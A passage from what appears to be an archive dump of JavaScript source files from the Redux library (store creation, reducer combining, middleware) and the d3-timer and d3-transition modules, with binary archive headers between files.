   * @returns {observable} A minimal observable of state changes.
   * For more information, see the observable proposal:
   * https://github.com/tc39/proposal-observable
   */
  function observable() {
    const outerSubscribe = subscribe
    return {
      /**
       * The minimal observable subscription method.
       * @param {Object} observer Any object that can be used as an observer.
       * The observer object should have a `next` method.
       * @returns {subscription} An object with an `unsubscribe` method that can
       * be used to unsubscribe the observable from the store, and prevent further
       * emission of values from the observable.
       */
      subscribe(observer) {
        if (typeof observer !== 'object' || observer === null) {
          throw new TypeError(
            `Expected the observer to be an object. Instead, received: '${kindOf(
              observer
            )}'`
          )
        }

        function observeState() {
          if (observer.next) {
            observer.next(getState())
          }
        }

        observeState()
        const unsubscribe = outerSubscribe(observeState)
        return { unsubscribe }
      },

      [$$observable]() {
        return this
      },
    }
  }

  // When a store is created, an "INIT" action is dispatched so that every
  // reducer returns their initial state. This effectively populates
  // the initial state tree.
  dispatch({ type: ActionTypes.INIT })

  return {
    dispatch,
    subscribe,
    getState,
    replaceReducer,
    [$$observable]: observable,
  }
}

/**
 * Creates a Redux store that holds the state tree.
 *
 * **We recommend using `configureStore` from the
 * `@reduxjs/toolkit` package**, which replaces `createStore`:
 * **https://redux.js.org/introduction/why-rtk-is-redux-today**
 *
 * The only way to change the data in the store is to call `dispatch()` on it.
 *
 * There should only be a single store in your app. To specify how different
 * parts of the state tree respond to actions, you may combine several reducers
 * into a single reducer function by using `combineReducers`.
 *
 * @param {Function} reducer A function that returns the next state tree, given
 * the current state tree and the action to handle.
 *
 * @param {any} [preloadedState] The initial state. You may optionally specify it
 * to hydrate the state from the server in universal apps, or to restore a
 * previously serialized user session.
 * If you use `combineReducers` to produce the root reducer function, this must be
 * an object with the same shape as `combineReducers` keys.
 *
 * @param {Function} [enhancer] The store enhancer. You may optionally specify it
 * to enhance the store with third-party capabilities such as middleware,
 * time travel, persistence, etc. The only store enhancer that ships with Redux
 * is `applyMiddleware()`.
 *
 * @returns {Store} A Redux store that lets you read the state, dispatch actions
 * and subscribe to changes.
 */
export const legacy_createStore = createStore
PKm�\B�@=��combineReducers.jsnu�[���import ActionTypes from './utils/actionTypes'
import warning from './utils/warning'
import isPlainObject from './utils/isPlainObject'
import { kindOf } from './utils/kindOf'

function getUnexpectedStateShapeWarningMessage(
  inputState,
  reducers,
  action,
  unexpectedKeyCache
) {
  const reducerKeys = Object.keys(reducers)
  const argumentName =
    action && action.type === ActionTypes.INIT
      ? 'preloadedState argument passed to createStore'
      : 'previous state received by the reducer'

  if (reducerKeys.length === 0) {
    return (
      'Store does not have a valid reducer. Make sure the argument passed ' +
      'to combineReducers is an object whose values are reducers.'
    )
  }

  if (!isPlainObject(inputState)) {
    return (
      `The ${argumentName} has unexpected type of "${kindOf(
        inputState
      )}". Expected argument to be an object with the following ` +
      `keys: "${reducerKeys.join('", "')}"`
    )
  }

  const unexpectedKeys = Object.keys(inputState).filter(
    (key) => !reducers.hasOwnProperty(key) && !unexpectedKeyCache[key]
  )

  unexpectedKeys.forEach((key) => {
    unexpectedKeyCache[key] = true
  })

  if (action && action.type === ActionTypes.REPLACE) return

  if (unexpectedKeys.length > 0) {
    return (
      `Unexpected ${unexpectedKeys.length > 1 ? 'keys' : 'key'} ` +
      `"${unexpectedKeys.join('", "')}" found in ${argumentName}. ` +
      `Expected to find one of the known reducer keys instead: ` +
      `"${reducerKeys.join('", "')}". Unexpected keys will be ignored.`
    )
  }
}

function assertReducerShape(reducers) {
  Object.keys(reducers).forEach((key) => {
    const reducer = reducers[key]
    const initialState = reducer(undefined, { type: ActionTypes.INIT })

    if (typeof initialState === 'undefined') {
      throw new Error(
        `The slice reducer for key "${key}" returned undefined during initialization. ` +
          `If the state passed to the reducer is undefined, you must ` +
          `explicitly return the initial state. The initial state may ` +
          `not be undefined. If you don't want to set a value for this reducer, ` +
          `you can use null instead of undefined.`
      )
    }

    if (
      typeof reducer(undefined, {
        type: ActionTypes.PROBE_UNKNOWN_ACTION(),
      }) === 'undefined'
    ) {
      throw new Error(
        `The slice reducer for key "${key}" returned undefined when probed with a random type. ` +
          `Don't try to handle '${ActionTypes.INIT}' or other actions in "redux/*" ` +
          `namespace. They are considered private. Instead, you must return the ` +
          `current state for any unknown actions, unless it is undefined, ` +
          `in which case you must return the initial state, regardless of the ` +
          `action type. The initial state may not be undefined, but can be null.`
      )
    }
  })
}

/**
 * Turns an object whose values are different reducer functions, into a single
 * reducer function. It will call every child reducer, and gather their results
 * into a single state object, whose keys correspond to the keys of the passed
 * reducer functions.
 *
 * @param {Object} reducers An object whose values correspond to different
 * reducer functions that need to be combined into one. One handy way to obtain
 * it is to use ES6 `import * as reducers` syntax. The reducers may never return
 * undefined for any action. Instead, they should return their initial state
 * if the state passed to them was undefined, and the current state for any
 * unrecognized action.
 *
 * @returns {Function} A reducer function that invokes every reducer inside the
 * passed object, and builds a state object with the same shape.
 */
export default function combineReducers(reducers) {
  const reducerKeys = Object.keys(reducers)
  const finalReducers = {}
  for (let i = 0; i < reducerKeys.length; i++) {
    const key = reducerKeys[i]

    if (process.env.NODE_ENV !== 'production') {
      if (typeof reducers[key] === 'undefined') {
        warning(`No reducer provided for key "${key}"`)
      }
    }

    if (typeof reducers[key] === 'function') {
      finalReducers[key] = reducers[key]
    }
  }
  const finalReducerKeys = Object.keys(finalReducers)

  // This is used to make sure we don't warn about the same
  // keys multiple times.
  let unexpectedKeyCache
  if (process.env.NODE_ENV !== 'production') {
    unexpectedKeyCache = {}
  }

  let shapeAssertionError
  try {
    assertReducerShape(finalReducers)
  } catch (e) {
    shapeAssertionError = e
  }

  return function combination(state = {}, action) {
    if (shapeAssertionError) {
      throw shapeAssertionError
    }

    if (process.env.NODE_ENV !== 'production') {
      const warningMessage = getUnexpectedStateShapeWarningMessage(
        state,
        finalReducers,
        action,
        unexpectedKeyCache
      )
      if (warningMessage) {
        warning(warningMessage)
      }
    }

    let hasChanged = false
    const nextState = {}
    for (let i = 0; i < finalReducerKeys.length; i++) {
      const key = finalReducerKeys[i]
      const reducer = finalReducers[key]
      const previousStateForKey = state[key]
      const nextStateForKey = reducer(previousStateForKey, action)
      if (typeof nextStateForKey === 'undefined') {
        const actionType = action && action.type
        throw new Error(
          `When called with an action of type ${
            actionType ? `"${String(actionType)}"` : '(unknown type)'
          }, the slice reducer for key "${key}" returned undefined. ` +
            `To ignore an action, you must explicitly return the previous state. ` +
            `If you want this reducer to hold no value, you can return null instead of undefined.`
        )
      }
      nextState[key] = nextStateForKey
      hasChanged = hasChanged || nextStateForKey !== previousStateForKey
    }
    hasChanged =
      hasChanged || finalReducerKeys.length !== Object.keys(state).length
    return hasChanged ? nextState : state
  }
}
PKm�\�O+RRapplyMiddleware.jsnu�[���import compose from './compose'

/**
 * Creates a store enhancer that applies middleware to the dispatch method
 * of the Redux store. This is handy for a variety of tasks, such as expressing
 * asynchronous actions in a concise manner, or logging every action payload.
 *
 * See `redux-thunk` package as an example of the Redux middleware.
 *
 * Because middleware is potentially asynchronous, this should be the first
 * store enhancer in the composition chain.
 *
 * Note that each middleware will be given the `dispatch` and `getState` functions
 * as named arguments.
 *
 * @param {...Function} middlewares The middleware chain to be applied.
 * @returns {Function} A store enhancer applying the middleware.
 */
export default function applyMiddleware(...middlewares) {
  return (createStore) => (...args) => {
    const store = createStore(...args)
    let dispatch = () => {
      throw new Error(
        'Dispatching while constructing your middleware is not allowed. ' +
          'Other middleware would not be applied to this dispatch.'
      )
    }

    const middlewareAPI = {
      getState: store.getState,
      dispatch: (...args) => dispatch(...args),
    }
    const chain = middlewares.map((middleware) => middleware(middlewareAPI))
    dispatch = compose(...chain)(store.dispatch)

    return {
      ...store,
      dispatch,
    }
  }
}
PKm�\U�����utils/symbol-observable.jsnu�[���// Inlined version of the `symbol-observable` polyfill
export default (() =>
  (typeof Symbol === 'function' && Symbol.observable) || '@@observable')()
PKm�\��X��utils/isPlainObject.jsnu�[���/**
 * @param {any} obj The object to inspect.
 * @returns {boolean} True if the argument appears to be a plain object.
 */
export default function isPlainObject(obj) {
  if (typeof obj !== 'object' || obj === null) return false

  let proto = obj
  while (Object.getPrototypeOf(proto) !== null) {
    proto = Object.getPrototypeOf(proto)
  }

  return Object.getPrototypeOf(obj) === proto
}
PKm�\�ra�[[utils/warning.jsnu�[���/**
 * Prints a warning in the console if it exists.
 *
 * @param {String} message The warning message.
 * @returns {void}
 */
export default function warning(message) {
  /* eslint-disable no-console */
  if (typeof console !== 'undefined' && typeof console.error === 'function') {
    console.error(message)
  }
  /* eslint-enable no-console */
  try {
    // This error was thrown as a convenience so that if you enable
    // "break on all exceptions" in your console,
    // it would pause the execution at this line.
    throw new Error(message)
  } catch (e) {} // eslint-disable-line no-empty
}
PKm�\|UG99utils/actionTypes.jsnu�[���/**
 * These are private action types reserved by Redux.
 * For any unknown actions, you must return the current state.
 * If the current state is undefined, you must return the initial state.
 * Do not reference these action types directly in your code.
 */

const randomString = () =>
  Math.random().toString(36).substring(7).split('').join('.')

const ActionTypes = {
  INIT: `@@redux/INIT${randomString()}`,
  REPLACE: `@@redux/REPLACE${randomString()}`,
  PROBE_UNKNOWN_ACTION: () => `@@redux/PROBE_UNKNOWN_ACTION${randomString()}`,
}

export default ActionTypes
PKm�\�Ӎ���utils/kindOf.jsnu�[���// Inlined / shortened version of `kindOf` from https://github.com/jonschlinkert/kind-of
function miniKindOf(val) {
  if (val === void 0) return 'undefined'
  if (val === null) return 'null'

  const type = typeof val
  switch (type) {
    case 'boolean':
    case 'string':
    case 'number':
    case 'symbol':
    case 'function': {
      return type
    }
    default:
      break
  }

  if (Array.isArray(val)) return 'array'
  if (isDate(val)) return 'date'
  if (isError(val)) return 'error'

  const constructorName = ctorName(val)
  switch (constructorName) {
    case 'Symbol':
    case 'Promise':
    case 'WeakMap':
    case 'WeakSet':
    case 'Map':
    case 'Set':
      return constructorName
    default:
      break
  }

  // other
  return type.slice(8, -1).toLowerCase().replace(/\s/g, '')
}

function ctorName(val) {
  return typeof val.constructor === 'function' ? val.constructor.name : null
}

function isError(val) {
  return (
    val instanceof Error ||
    (typeof val.message === 'string' &&
      val.constructor &&
      typeof val.constructor.stackTraceLimit === 'number')
  )
}

function isDate(val) {
  if (val instanceof Date) return true
  return (
    typeof val.toDateString === 'function' &&
    typeof val.getDate === 'function' &&
    typeof val.setDate === 'function'
  )
}

export function kindOf(val) {
  let typeOfVal = typeof val

  if (process.env.NODE_ENV !== 'production') {
    typeOfVal = miniKindOf(val)
  }

  return typeOfVal
}
PKm�\P\�
&&utils/formatProdErrorMessage.jsnu�[���/**
 * Adapted from React: https://github.com/facebook/react/blob/master/packages/shared/formatProdErrorMessage.js
 *
 * Do not require this module directly! Use normal throw error calls. These messages will be replaced with error codes
 * during build.
 * @param {number} code
 */
function formatProdErrorMessage(code) {
  return (
    `Minified Redux error #${code}; visit https://redux.js.org/Errors?code=${code} for the full message or ` +
    'use the non-minified dev environment for full errors. '
  )
}

export default formatProdErrorMessage
PKm�\`��צ�bindActionCreators.jsnu�[���import { kindOf } from './utils/kindOf'

function bindActionCreator(actionCreator, dispatch) {
  return function () {
    return dispatch(actionCreator.apply(this, arguments))
  }
}

/**
 * Turns an object whose values are action creators, into an object with the
 * same keys, but with every function wrapped into a `dispatch` call so they
 * may be invoked directly. This is just a convenience method, as you can call
 * `store.dispatch(MyActionCreators.doSomething())` yourself just fine.
 *
 * For convenience, you can also pass an action creator as the first argument,
 * and get a dispatch wrapped function in return.
 *
 * @param {Function|Object} actionCreators An object whose values are action
 * creator functions. One handy way to obtain it is to use ES6 `import * as`
 * syntax. You may also pass a single function.
 *
 * @param {Function} dispatch The `dispatch` function available on your Redux
 * store.
 *
 * @returns {Function|Object} The object mimicking the original object, but with
 * every action creator wrapped into the `dispatch` call. If you passed a
 * function as `actionCreators`, the return value will also be a single
 * function.
 */
export default function bindActionCreators(actionCreators, dispatch) {
  if (typeof actionCreators === 'function') {
    return bindActionCreator(actionCreators, dispatch)
  }

  if (typeof actionCreators !== 'object' || actionCreators === null) {
    throw new Error(
      `bindActionCreators expected an object or a function, but instead received: '${kindOf(
        actionCreators
      )}'. ` +
        `Did you write "import ActionCreators from" instead of "import * as ActionCreators from"?`
    )
  }

  const boundActionCreators = {}
  for (const key in actionCreators) {
    const actionCreator = actionCreators[key]
    if (typeof actionCreator === 'function') {
      boundActionCreators[key] = bindActionCreator(actionCreator, dispatch)
    }
  }
  return boundActionCreators
}
PKm�\��1��
compose.jsnu�[���/**
 * Composes single-argument functions from right to left. The rightmost
 * function can take multiple arguments as it provides the signature for
 * the resulting composite function.
 *
 * @param {...Function} funcs The functions to compose.
 * @returns {Function} A function obtained by composing the argument functions
 * from right to left. For example, compose(f, g, h) is identical to doing
 * (...args) => f(g(h(...args))).
 */

export default function compose(...funcs) {
  if (funcs.length === 0) {
    return (arg) => arg
  }

  if (funcs.length === 1) {
    return funcs[0]
  }

  return funcs.reduce((a, b) => (...args) => a(b(...args)))
}
PKM��\<J,��interval.jsnu�[���import {Timer, now} from "./timer";

export default function(callback, delay, time) {
  var t = new Timer, total = delay;
  if (delay == null) return t.restart(callback, delay, time), t;
  delay = +delay, time = time == null ? now() : +time;
  t.restart(function tick(elapsed) {
    elapsed += total;
    t.restart(tick, total += delay, time);
    callback(elapsed);
  }, delay, time);
  return t;
}
PKM��\ԥ���timer.jsnu�[���var frame = 0, // is an animation frame pending?
    timeout = 0, // is a timeout pending?
    interval = 0, // are any timers active?
    pokeDelay = 1000, // how frequently we check for clock skew
    taskHead,
    taskTail,
    clockLast = 0,
    clockNow = 0,
    clockSkew = 0,
    clock = typeof performance === "object" && performance.now ? performance : Date,
    setFrame = typeof window === "object" && window.requestAnimationFrame ? window.requestAnimationFrame.bind(window) : function(f) { setTimeout(f, 17); };

export function now() {
  return clockNow || (setFrame(clearNow), clockNow = clock.now() + clockSkew);
}

function clearNow() {
  clockNow = 0;
}

export function Timer() {
  this._call =
  this._time =
  this._next = null;
}

Timer.prototype = timer.prototype = {
  constructor: Timer,
  restart: function(callback, delay, time) {
    if (typeof callback !== "function") throw new TypeError("callback is not a function");
    time = (time == null ? now() : +time) + (delay == null ? 0 : +delay);
    if (!this._next && taskTail !== this) {
      if (taskTail) taskTail._next = this;
      else taskHead = this;
      taskTail = this;
    }
    this._call = callback;
    this._time = time;
    sleep();
  },
  stop: function() {
    if (this._call) {
      this._call = null;
      this._time = Infinity;
      sleep();
    }
  }
};

export function timer(callback, delay, time) {
  var t = new Timer;
  t.restart(callback, delay, time);
  return t;
}

export function timerFlush() {
  now(); // Get the current time, if not already set.
  ++frame; // Pretend we’ve set an alarm, if we haven’t already.
  var t = taskHead, e;
  while (t) {
    if ((e = clockNow - t._time) >= 0) t._call.call(null, e);
    t = t._next;
  }
  --frame;
}

function wake() {
  clockNow = (clockLast = clock.now()) + clockSkew;
  frame = timeout = 0;
  try {
    timerFlush();
  } finally {
    frame = 0;
    nap();
    clockNow = 0;
  }
}

function poke() {
  var now = clock.now(), delay = now - clockLast;
  if (delay > pokeDelay) clockSkew -= delay, clockLast = now;
}

function nap() {
  var t0, t1 = taskHead, t2, time = Infinity;
  while (t1) {
    if (t1._call) {
      if (time > t1._time) time = t1._time;
      t0 = t1, t1 = t1._next;
    } else {
      t2 = t1._next, t1._next = null;
      t1 = t0 ? t0._next = t2 : taskHead = t2;
    }
  }
  taskTail = t0;
  sleep(time);
}

function sleep(time) {
  if (frame) return; // Soonest alarm already set, or will be.
  if (timeout) timeout = clearTimeout(timeout);
  var delay = time - clockNow; // Strictly less than if we recomputed clockNow.
  if (delay > 24) {
    if (time < Infinity) timeout = setTimeout(wake, time - clock.now() - clockSkew);
    if (interval) interval = clearInterval(interval);
  } else {
    if (!interval) clockLast = clock.now(), interval = setInterval(poke, pokeDelay);
    frame = 1, setFrame(wake);
  }
}
PKM��\�
timeout.jsnu�[���import {Timer} from "./timer";

export default function(callback, delay, time) {
  var t = new Timer;
  delay = delay == null ? 0 : +delay;
  t.restart(function(elapsed) {
    t.stop();
    callback(elapsed + delay);
  }, delay, time);
  return t;
}
PKf��\5f��	active.jsnu�[���import {Transition} from "./transition/index";
import {SCHEDULED} from "./transition/schedule";

var root = [null];

export default function(node, name) {
  var schedules = node.__transition,
      schedule,
      i;

  if (schedules) {
    name = name == null ? null : name + "";
    for (i in schedules) {
      if ((schedule = schedules[i]).state > SCHEDULED && schedule.name === name) {
        return new Transition([[node]], root, name, +i);
      }
    }
  }

  return null;
}
PKf��\"�1��transition/text.jsnu�[���import {tweenValue} from "./tween";

function textConstant(value) {
  return function() {
    this.textContent = value;
  };
}

function textFunction(value) {
  return function() {
    var value1 = value(this);
    this.textContent = value1 == null ? "" : value1;
  };
}

export default function(value) {
  return this.tween("text", typeof value === "function"
      ? textFunction(tweenValue(this, "text", value))
      : textConstant(value == null ? "" : value + ""));
}
PKf��\��Jlltransition/ease.jsnu�[���import {get, set} from "./schedule";

function easeConstant(id, value) {
  if (typeof value !== "function") throw new Error;
  return function() {
    set(this, id).ease = value;
  };
}

export default function(value) {
  var id = this._id;

  return arguments.length
      ? this.each(easeConstant(id, value))
      : get(this.node(), id).ease;
}
PKf��\�1�%%transition/schedule.jsnu�[���import {dispatch} from "d3-dispatch";
import {timer, timeout} from "d3-timer";

var emptyOn = dispatch("start", "end", "interrupt");
var emptyTween = [];

export var CREATED = 0;
export var SCHEDULED = 1;
export var STARTING = 2;
export var STARTED = 3;
export var RUNNING = 4;
export var ENDING = 5;
export var ENDED = 6;

export default function(node, name, id, index, group, timing) {
  var schedules = node.__transition;
  if (!schedules) node.__transition = {};
  else if (id in schedules) return;
  create(node, id, {
    name: name,
    index: index, // For context during callback.
    group: group, // For context during callback.
    on: emptyOn,
    tween: emptyTween,
    time: timing.time,
    delay: timing.delay,
    duration: timing.duration,
    ease: timing.ease,
    timer: null,
    state: CREATED
  });
}

export function init(node, id) {
  var schedule = get(node, id);
  if (schedule.state > CREATED) throw new Error("too late; already scheduled");
  return schedule;
}

export function set(node, id) {
  var schedule = get(node, id);
  if (schedule.state > STARTING) throw new Error("too late; already started");
  return schedule;
}

export function get(node, id) {
  var schedule = node.__transition;
  if (!schedule || !(schedule = schedule[id])) throw new Error("transition not found");
  return schedule;
}

function create(node, id, self) {
  var schedules = node.__transition,
      tween;

  // Initialize the self timer when the transition is created.
  // Note the actual delay is not known until the first callback!
  schedules[id] = self;
  self.timer = timer(schedule, 0, self.time);

  function schedule(elapsed) {
    self.state = SCHEDULED;
    self.timer.restart(start, self.delay, self.time);

    // If the elapsed delay is less than our first sleep, start immediately.
    if (self.delay <= elapsed) start(elapsed - self.delay);
  }

  function start(elapsed) {
    var i, j, n, o;

    // If the state is not SCHEDULED, then we previously errored on start.
    if (self.state !== SCHEDULED) return stop();

    for (i in schedules) {
      o = schedules[i];
      if (o.name !== self.name) continue;

      // While this element already has a starting transition during this frame,
      // defer starting an interrupting transition until that transition has a
      // chance to tick (and possibly end); see d3/d3-transition#54!
      if (o.state === STARTED) return timeout(start);

      // Interrupt the active transition, if any.
      // Dispatch the interrupt event.
      if (o.state === RUNNING) {
        o.state = ENDED;
        o.timer.stop();
        o.on.call("interrupt", node, node.__data__, o.index, o.group);
        delete schedules[i];
      }

      // Cancel any pre-empted transitions. No interrupt event is dispatched
      // because the cancelled transitions never started. Note that this also
      // removes this transition from the pending list!
      else if (+i < id) {
        o.state = ENDED;
        o.timer.stop();
        delete schedules[i];
      }
    }

    // Defer the first tick to end of the current frame; see d3/d3#1576.
    // Note the transition may be canceled after start and before the first tick!
    // Note this must be scheduled before the start event; see d3/d3-transition#16!
    // Assuming this is successful, subsequent callbacks go straight to tick.
    timeout(function() {
      if (self.state === STARTED) {
        self.state = RUNNING;
        self.timer.restart(tick, self.delay, self.time);
        tick(elapsed);
      }
    });

    // Dispatch the start event.
    // Note this must be done before the tween are initialized.
    self.state = STARTING;
    self.on.call("start", node, node.__data__, self.index, self.group);
    if (self.state !== STARTING) return; // interrupted
    self.state = STARTED;

    // Initialize the tween, deleting null tween.
    tween = new Array(n = self.tween.length);
    for (i = 0, j = -1; i < n; ++i) {
      if (o = self.tween[i].value.call(node, node.__data__, self.index, self.group)) {
        tween[++j] = o;
      }
    }
    tween.length = j + 1;
  }

  function tick(elapsed) {
    var t = elapsed < self.duration ? self.ease.call(null, elapsed / self.duration) : (self.timer.restart(stop), self.state = ENDING, 1),
        i = -1,
        n = tween.length;

    while (++i < n) {
      tween[i].call(null, t);
    }

    // Dispatch the end event.
    if (self.state === ENDING) {
      self.on.call("end", node, node.__data__, self.index, self.group);
      stop();
    }
  }

  function stop() {
    self.state = ENDED;
    self.timer.stop();
    delete schedules[id];
    for (var i in schedules) return; // eslint-disable-line no-unused-vars
    delete node.__transition;
  }
}
PKf��\�Xc��transition/attrTween.jsnu�[���import {namespace} from "d3-selection";

function attrTweenNS(fullname, value) {
  function tween() {
    var node = this, i = value.apply(node, arguments);
    return i && function(t) {
      node.setAttributeNS(fullname.space, fullname.local, i(t));
    };
  }
  tween._value = value;
  return tween;
}

function attrTween(name, value) {
  function tween() {
    var node = this, i = value.apply(node, arguments);
    return i && function(t) {
      node.setAttribute(name, i(t));
    };
  }
  tween._value = value;
  return tween;
}

export default function(name, value) {
  var key = "attr." + name;
  if (arguments.length < 2) return (key = this.tween(key)) && key._value;
  if (value == null) return this.tween(key, null);
  if (typeof value !== "function") throw new Error;
  var fullname = namespace(name);
  return this.tween(key, (fullname.local ? attrTweenNS : attrTween)(fullname, value));
}
PKf��\��JNNtransition/filter.jsnu�[���import {matcher} from "d3-selection";
import {Transition} from "./index";

export default function(match) {
  if (typeof match !== "function") match = matcher(match);

  for (var groups = this._groups, m = groups.length, subgroups = new Array(m), j = 0; j < m; ++j) {
    for (var group = groups[j], n = group.length, subgroup = subgroups[j] = [], node, i = 0; i < n; ++i) {
      if ((node = group[i]) && match.call(node, node.__data__, i, group)) {
        subgroup.push(node);
      }
    }
  }

  return new Transition(subgroups, this._parents, this._name, this._id);
}
PKf��\�����transition/transition.jsnu�[���import {Transition, newId} from "./index";
import schedule, {get} from "./schedule";

export default function() {
  var name = this._name,
      id0 = this._id,
      id1 = newId();

  for (var groups = this._groups, m = groups.length, j = 0; j < m; ++j) {
    for (var group = groups[j], n = group.length, node, i = 0; i < n; ++i) {
      if (node = group[i]) {
        var inherit = get(node, id0);
        schedule(node, name, id1, i, group, {
          time: inherit.time + inherit.delay + inherit.duration,
          delay: 0,
          duration: inherit.duration,
          ease: inherit.ease
        });
      }
    }
  }

  return new Transition(groups, this._parents, name, id1);
}
PKf��\��
��	�	transition/attr.jsnu�[���import {interpolateTransformSvg as interpolateTransform} from "d3-interpolate";
import {namespace} from "d3-selection";
import {tweenValue} from "./tween";
import interpolate from "./interpolate";

function attrRemove(name) {
  return function() {
    this.removeAttribute(name);
  };
}

function attrRemoveNS(fullname) {
  return function() {
    this.removeAttributeNS(fullname.space, fullname.local);
  };
}

function attrConstant(name, interpolate, value1) {
  var value00,
      interpolate0;
  return function() {
    var value0 = this.getAttribute(name);
    return value0 === value1 ? null
        : value0 === value00 ? interpolate0
        : interpolate0 = interpolate(value00 = value0, value1);
  };
}

function attrConstantNS(fullname, interpolate, value1) {
  var value00,
      interpolate0;
  return function() {
    var value0 = this.getAttributeNS(fullname.space, fullname.local);
    return value0 === value1 ? null
        : value0 === value00 ? interpolate0
        : interpolate0 = interpolate(value00 = value0, value1);
  };
}

function attrFunction(name, interpolate, value) {
  var value00,
      value10,
      interpolate0;
  return function() {
    var value0, value1 = value(this);
    if (value1 == null) return void this.removeAttribute(name);
    value0 = this.getAttribute(name);
    return value0 === value1 ? null
        : value0 === value00 && value1 === value10 ? interpolate0
        : interpolate0 = interpolate(value00 = value0, value10 = value1);
  };
}

function attrFunctionNS(fullname, interpolate, value) {
  var value00,
      value10,
      interpolate0;
  return function() {
    var value0, value1 = value(this);
    if (value1 == null) return void this.removeAttributeNS(fullname.space, fullname.local);
    value0 = this.getAttributeNS(fullname.space, fullname.local);
    return value0 === value1 ? null
        : value0 === value00 && value1 === value10 ? interpolate0
        : interpolate0 = interpolate(value00 = value0, value10 = value1);
  };
}

export default function(name, value) {
  var fullname = namespace(name), i = fullname === "transform" ? interpolateTransform : interpolate;
  return this.attrTween(name, typeof value === "function"
      ? (fullname.local ? attrFunctionNS : attrFunction)(fullname, i, tweenValue(this, "attr." + name, value))
      : value == null ? (fullname.local ? attrRemoveNS : attrRemove)(fullname)
      : (fullname.local ? attrConstantNS : attrConstant)(fullname, i, value + ""));
}
PKf��\�r��''transition/remove.jsnu�[���function removeFunction(id) {
  return function() {
    var parent = this.parentNode;
    for (var i in this.__transition) if (+i !== id) return;
    if (parent) parent.removeChild(this);
  };
}

export default function() {
  return this.on("end.remove", removeFunction(this._id));
}
PKf��\q��PPtransition/select.jsnu�[���import {selector} from "d3-selection";
import {Transition} from "./index";
import schedule, {get} from "./schedule";

export default function(select) {
  var name = this._name,
      id = this._id;

  if (typeof select !== "function") select = selector(select);

  for (var groups = this._groups, m = groups.length, subgroups = new Array(m), j = 0; j < m; ++j) {
    for (var group = groups[j], n = group.length, subgroup = subgroups[j] = new Array(n), node, subnode, i = 0; i < n; ++i) {
      if ((node = group[i]) && (subnode = select.call(node, node.__data__, i, group))) {
        if ("__data__" in node) subnode.__data__ = node.__data__;
        subgroup[i] = subnode;
        schedule(subgroup[i], name, id, i, subgroup, get(node, id));
      }
    }
  }

  return new Transition(subgroups, this._parents, name, id);
}
PKf��\�z��transition/index.jsnu�[���import {selection} from "d3-selection";
import transition_attr from "./attr";
import transition_attrTween from "./attrTween";
import transition_delay from "./delay";
import transition_duration from "./duration";
import transition_ease from "./ease";
import transition_filter from "./filter";
import transition_merge from "./merge";
import transition_on from "./on";
import transition_remove from "./remove";
import transition_select from "./select";
import transition_selectAll from "./selectAll";
import transition_selection from "./selection";
import transition_style from "./style";
import transition_styleTween from "./styleTween";
import transition_text from "./text";
import transition_transition from "./transition";
import transition_tween from "./tween";

var id = 0;

export function Transition(groups, parents, name, id) {
  this._groups = groups;
  this._parents = parents;
  this._name = name;
  this._id = id;
}

export default function transition(name) {
  return selection().transition(name);
}

export function newId() {
  return ++id;
}

var selection_prototype = selection.prototype;

Transition.prototype = transition.prototype = {
  constructor: Transition,
  select: transition_select,
  selectAll: transition_selectAll,
  filter: transition_filter,
  merge: transition_merge,
  selection: transition_selection,
  transition: transition_transition,
  call: selection_prototype.call,
  nodes: selection_prototype.nodes,
  node: selection_prototype.node,
  size: selection_prototype.size,
  empty: selection_prototype.empty,
  each: selection_prototype.each,
  on: transition_on,
  attr: transition_attr,
  attrTween: transition_attrTween,
  style: transition_style,
  styleTween: transition_styleTween,
  text: transition_text,
  remove: transition_remove,
  tween: transition_tween,
  delay: transition_delay,
  duration: transition_duration,
  ease: transition_ease
};
PKf��\HhB/��transition/selectAll.jsnu�[���import {selectorAll} from "d3-selection";
import {Transition} from "./index";
import schedule, {get} from "./schedule";

export default function(select) {
  var name = this._name,
      id = this._id;

  if (typeof select !== "function") select = selectorAll(select);

  for (var groups = this._groups, m = groups.length, subgroups = [], parents = [], j = 0; j < m; ++j) {
    for (var group = groups[j], n = group.length, node, i = 0; i < n; ++i) {
      if (node = group[i]) {
        for (var children = select.call(node, node.__data__, i, group), child, inherit = get(node, id), k = 0, l = children.length; k < l; ++k) {
          if (child = children[k]) {
            schedule(child, name, id, k, children, inherit);
          }
        }
        subgroups.push(children);
        parents.push(node);
      }
    }
  }

  return new Transition(subgroups, parents, name, id);
}
PKf��\Q[Q�uutransition/on.jsnu�[���import {get, set, init} from "./schedule";

function start(name) {
  return (name + "").trim().split(/^|\s+/).every(function(t) {
    var i = t.indexOf(".");
    if (i >= 0) t = t.slice(0, i);
    return !t || t === "start";
  });
}

function onFunction(id, name, listener) {
  var on0, on1, sit = start(name) ? init : set;
  return function() {
    var schedule = sit(this, id),
        on = schedule.on;

    // If this node shared a dispatch with the previous node,
    // just assign the updated shared dispatch and we’re done!
    // Otherwise, copy-on-write.
    if (on !== on0) (on1 = (on0 = on).copy()).on(name, listener);

    schedule.on = on1;
  };
}

export default function(name, listener) {
  var id = this._id;

  return arguments.length < 2
      ? get(this.node(), id).on.on(name)
      : this.each(onFunction(id, name, listener));
}
PKf��\�_N�transition/delay.jsnu�[���import {get, init} from "./schedule";

function delayFunction(id, value) {
  return function() {
    init(this, id).delay = +value.apply(this, arguments);
  };
}

function delayConstant(id, value) {
  return value = +value, function() {
    init(this, id).delay = value;
  };
}

export default function(value) {
  var id = this._id;

  return arguments.length
      ? this.each((typeof value === "function"
          ? delayFunction
          : delayConstant)(id, value))
      : get(this.node(), id).delay;
}
PKf��\*�q���transition/merge.jsnu�[���import {Transition} from "./index";

export default function(transition) {
  if (transition._id !== this._id) throw new Error;

  for (var groups0 = this._groups, groups1 = transition._groups, m0 = groups0.length, m1 = groups1.length, m = Math.min(m0, m1), merges = new Array(m0), j = 0; j < m; ++j) {
    for (var group0 = groups0[j], group1 = groups1[j], n = group0.length, merge = merges[j] = new Array(n), node, i = 0; i < n; ++i) {
      if (node = group0[i] || group1[i]) {
        merge[i] = node;
      }
    }
  }

  for (; j < m0; ++j) {
    merges[j] = groups0[j];
  }

  return new Transition(merges, this._parents, this._name, this._id);
}
PKf��\�C/��transition/style.jsnu�[���import {interpolateTransformCss as interpolateTransform} from "d3-interpolate";
import {style} from "d3-selection";
import {tweenValue} from "./tween";
import interpolate from "./interpolate";

function styleRemove(name, interpolate) {
  var value00,
      value10,
      interpolate0;
  return function() {
    var value0 = style(this, name),
        value1 = (this.style.removeProperty(name), style(this, name));
    return value0 === value1 ? null
        : value0 === value00 && value1 === value10 ? interpolate0
        : interpolate0 = interpolate(value00 = value0, value10 = value1);
  };
